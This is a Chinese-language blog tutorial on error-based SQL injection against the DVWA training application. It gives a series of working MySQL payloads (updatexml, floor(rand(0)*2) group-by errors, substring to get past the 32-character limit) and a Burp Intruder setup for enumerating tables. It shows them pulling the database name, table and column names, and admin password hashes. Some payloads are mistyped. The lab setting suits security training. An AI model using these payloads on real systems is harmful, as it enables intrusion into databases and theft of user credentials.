sql注入之报错注入

数据库在执行时使用了错误的语法,会显示报错信息,在有注入的情况下使用报错注入可以帮助我们把数据库的信息显示出来

在这里插入图片描述
可以看到这里使用了mysqli_error()函数,如果数据库语法出错这个函数会将错误信息的结果返回,我们尝试在输入框中输入一个单引号页面出现错误信息说明可以利用报错注入
在这里插入图片描述
通过报错注入快速得出库名
1’ union select fllo()####
这里的原理是通过使用一个不存在的函数来报错得出数据库名
在这里插入图片描述
可以看出当前的数据库名为dvwa

通过报错注入获取数据库信息流程首先需要查出表名在得出字段在查询信息
输入构造的攻击语句 页面返回数据库信息
1’and (updatexml(1,concat(0x7e,(select user()),0x7e),1))–+
这里可将user()替换成要查询的语句需要注意的是这个函数最多只能获取32位的数据多了只能用substr函数 进行截取
首先现获取表名
1’and (updatexml(1,concat(0x7e,(select (select table_name from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1))###
通过burpsuit来获取所有的表
首先截取数据包发送到intruder模块
在这里插入图片描述
选中limit 0,1位置中的0
Number在这里插入图片描述
payload set 为number,0-20位这里还需要设置正则将结果直接匹配出来显示
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查询users表下的字段
1’and (updatexml(1,concat(0x7e,(select (select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit 0,1)),0x7e),1))###

在这里插入图片描述

查询user,password字段下的数据
1’ and (updatexml(1,concat(0x7e,(select (select group_concat(user,password) from users limit 1)),0x7e),1))###

XPATH syntax error: ‘~admin5f4dcc3b5aa765d61d8327deb8’
这里只获取到了0-31位所以需要用到截取函数从32位开始截取到第40位
1’ and (updatexml(1,concat(0x7e,(select (substring((select group_concat(user,password) from users limit 1),32,40))),0x7e),1))###
XPATH syntax error: ‘~82cf99,gordonbe99a18c428cb38d5f’

整理后5f4dcc3b5aa765d61d8327deb882cf99

这里再说下另一种报错注入
1’ union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

这个对于长度就没有限制了

爆出数据库名
id=1’ union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #
这里的数字1是随机产生的库名应为dvwa
在这里插入图片描述

爆出表名
id=1’ union select count(*),concat(floor(rand(0)2),(select group_concat(table_name) from information_schema.tables where table_schema=database())) x from information_schema.schemata group by x #
在这里插入图片描述
爆出users下的字段内容
id=1’ union select count(
),concat(floor(rand(0)2),(select group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database())) x from information_schema.schemata group by x #
查询数据
1’ union select count(
),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值